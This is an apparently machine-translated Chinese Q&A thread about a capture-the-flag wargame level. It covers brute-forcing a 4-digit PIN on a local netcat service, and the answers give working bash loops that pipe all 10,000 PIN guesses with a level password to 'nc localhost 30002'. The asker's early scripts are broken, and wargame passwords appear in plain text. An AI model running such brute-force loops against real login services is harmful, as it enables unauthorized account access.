使用 shell 脚本暴力破解 4 位密码

使用 shell 脚本暴力破解 4 位密码

我正在做一些挑战。这就是其中之一。我正在尝试使用密码暴力破解 4 位 PIN 码以获得我想要的答案。连接到端口后,它提示我输入密码,然后输入空格,然后输入 4 位 PIN 码。我尝试使用以下脚本暴力破解该引脚:

 #!/bin/bash 
 nc localhost 30002 
 sleep 2 

 for i in {0000..9999}; 
     if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];                   
     then 
        continue 
     echo '[+] Pincode Cracked! Pincode = $i' 
     fi 
 done

但在我尝试做这样的事情之前,这似乎没有将 pass 和 pin 输入到标准输入 ->if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];我在这里做错了什么?

更新:

好吧,经过一番研究。我写了这个:

for i in {0000..9999}
do
    if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
   then
      sleep 0.1
      continue
   fi
   echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done

这甚至可能有效,但正如您所看到的,它在循环中打开新的连接,这使得它非常慢并且耗尽系统。

答案1

这是一个快速且有效的工作答案:

#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
            echo "$passwd24 $i"
done | nc localhost 30002  | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"

您更新的答案非常慢。当填写错误的答案时,连接将继续存在。就像之前的答案所示,是 for 循环末尾的管道。如果您确实想知道正确的引脚,您可以在 echo that 之前添加一行echo "the correct pass: $1" > /tmp/correctpin.txt。这与接收正确密码的目的无关。

答案2

那是因为你不是讲述您的脚本将任何内容写入 的nc标准输入。你的脚本启动netcat,等待它终止,然后sleep在执行循环之前 s 两秒钟for。您可能需要一个诸如以下的构造:

for i in {0000..9999}; do
    : stuff
done | nc localhost 30002

答案3

您可以将循环通过管道传输到 netcat 连接并将输出写入文件中,如下所示:

#!/bin/bash
touch f.txt
for i in {0000..9999}
do
    echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002 > f.txt

cat f.txt | grep -v Wrong

如果它挂起并且没有完成循环,您可以将其分成 2 部分,每部分 5000 次迭代:

#!/bin/bash

for j in {0000..5000}
do
    str1="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $j"
    echo $str1
done | nc localhost 30002 > f.txt

cat f.txt | grep -v Wrong

sleep 5

for i in {5000..9999}
do
    str2="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
    echo $str2
done | nc 127.0.0.1 30002 > f.txt

cat f.txt |grep -v Wrong

答案4

获取 bandit25 密码的单行代码:

for i in {0000..9999}; do echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"; done | nc localhost 30002 | grep -v "Wrong!"

密码-PIN 组合将使用 for 循环传递,并且grep -v不会打印不必要的输出。

相关内容